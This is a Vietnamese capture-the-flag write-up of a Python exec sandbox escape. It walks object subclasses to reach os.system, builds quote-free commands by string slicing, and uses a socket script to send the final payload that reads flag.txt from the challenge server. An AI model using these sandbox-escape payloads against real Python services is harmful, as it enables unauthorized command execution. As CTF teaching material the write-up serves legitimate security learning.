Đề bài

Cũng như mấy bài misc khác, bài này cũng chỉ cho 1 ip và port để có thể connect vào.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.20.38.png

Khi tôi connect vào và điền một vài thứ ngớ ngẩn vào để thăm dò cách hoạt động của server, thì tôi nhận được một thông báo lỗi như sau:

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.21.56.png

Đúng vậy, đó là một chương trình chạy bằng python gồm một số thống tin như sau:

  • File python: /app/build_yourself_in.py
  • Có sử dụng exec: exec(text, {'builtins': None, ‘print’:print})
  • Dòng lỗi TypeError: 'NoneType' object is not subscriptable: Có thể đoán là dữ liệu nhập vào, sẽ được chuyển vào exec để chạy.

Và dưới dây là thông tin đó.

[  ~]$ nc 206.189.121.131 30736
3.8.9 (default, Apr 15 2021, 05:07:04) 
[GCC 10.2.1 20201203]

[*] Only 👽 are allowed!

>>> asdfsdfdsf
Traceback (most recent call last):
  File "/app/build_yourself_in.py", line 16, in <module>
    main()
  File "/app/build_yourself_in.py", line 13, in main
    exec(text, {'__builtins__': None, 'print':print})
  File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
[  ~]$

Đây là một bài code injection và ban đầu chưa để ý lắm, tôi đã thử payload như bên dưới.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.23.37.png

Và tôi đã nhận về được lỗi: No quotes are allowed!. Vậy là chương trình đã chặn các dấu quotes như: '" Vậy thì tôi thử dùng payload khác không có quotes, vì quotes là để dùng cho object String trong python, nên tôi thử sử dụng object tupe để không sử dụng quotes.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.25.08.png

Nhưng sau khi thử xong, chương trình đã không còn trả về lỗi No quotes are allowed! nữa, nhưng mà cũng chả trả về gì cả. Đến đây thì tôi đã nhìn lại phần lỗi ban đầu, và để ý hàm exec(text, {'__builtins__': None, 'print':print}). Với hàm exec này đại khái là phần giá trị của biến text sẽ chỉ có thể chạy được hàm print mà thôi, còn các hàm __builtins__ đã bị disable.

Thực ra thì đối với payload tôi thử từ nãy giờ, cũng chả cần quan tâm '__builtins__': None làm gì, bởi vì nó cũng không sử dụng các hàm __builtins__, mà đang sử dụng object tupe, nhưng phần 'print':print thì lại có ích, tôi đã thử thêm print trước payload và nhận được kết quả như sau.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.24.35.png

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, ***<class 'os._wrap_close'>***, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

Đến đây thì hi vọng về code injection đã có, đối với dữ liệu trên, tôi đã viết 1 đoạn code để đếm và tìm ra class có tên là _wrap_close (class này hoạt động như nào thì các bạn google nha, bài hơi dài không giải thích được hết).

data = "[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]"

data = data.split(",")

index = 0
for i in data:
    if i.find("_wrap_close") != -1:
        print("index: {}".format(index))
        print(i)
    index += 1

/images/posts/ctf/Cyber-Apocalypse-2021/misc/python-test.png

OK, vậy là vị trí của <class 'os._wrap_close'> là 132. Chúng ta xem nó có thể gọi được những hàm/module global nào nha.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.30.29.png

Đó là tất cả các hàm global có thể gọi, chúng to có thể xem được các hàm global, đồng nghĩa với việc có thể tìm được các hàm để có thể chạy command code. Hàm tôi hướng tới là buils in system.

Vậy thì trong rất nhiều class/func global đó, tôi đã tìm được vị trí của buils in system ở vị trí 45. Vì giá trị của globals trả về là một dict gồm, key là class, value là class. Ví dụ:

'_wrap_close': <class 'os._wrap_close'>

Nên ta cần biến đổi một tý. Chuyển đổi tất cả values thành 1 mảng

[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()]

Sau khi chuyển đổi, dữ liệu sẽ như vầy.

('_wrap_close', <class 'os._wrap_close'>)

Bây giờ thì xem vị trí 45 có gì nào.

[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45]

Nhớ thêm print và và thử chạy xem như nào nhé.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.33.46.png

Chúng ta đã có được một tuple, vậy thì để lấy được function system, chúng ta lấy vị trí 1 nhé.

[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.35.09.png

Đó, đã có được hàm system nha, Bây giờ chỉ cần chạy

# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]("<<command>>")

[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]("ls")

Là có thể chạy lệnh command, tuy nhiên server đã chặn "'

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.47.43.png

Bắt buộc tôi phải tìm cách khác, đó là sử dụng những dữ liệu server trả về dùng phương pháp cắt chuỗi, cộng chuỗi, … để tạo thành một lệnh command. Vì dữ liệu trả về có cả String, ta có thể thoải mái sử dụng chúng.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.46.52.png

Để cắt chuỗi để có ls. Dùng để xác định xem folder run code có những file gì.

s -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][1:][0]
l -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9]

ls -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][1:][0]

Tôi thử chạy ls thử nha.

print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][1:][0]))

Ok, đã chạy được, thấy được file flag.txt rồi.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.38.49.png

Bây giờ cắt chuỗi tiếp để có thể tìm ra chuỗi: “cat flag.txt”

c -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5]
a -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4]
t -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]

f -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3]
g -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8]
. -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4]
x -> [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22]
space ->  [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5]

Bây giờ ghép thành được chuỗi cat flag.txt.

[(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]

Payload cuối cùng là.

print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]))

Thử chạy payload và đọc flag nha.

from socket import socket
from telnetlib import Telnet

sock = socket()
sock.connect(('206.189.121.131', 30736))
print(sock.recv(1024))
sock.send(b'print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]))\n')
flag = sock.recv(1024)

print(flag)
sock.close()

Đã lấy được flag.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.45.10.png

Flag là: CHTB{n0_j4il_c4n_h4ndl3_m3!}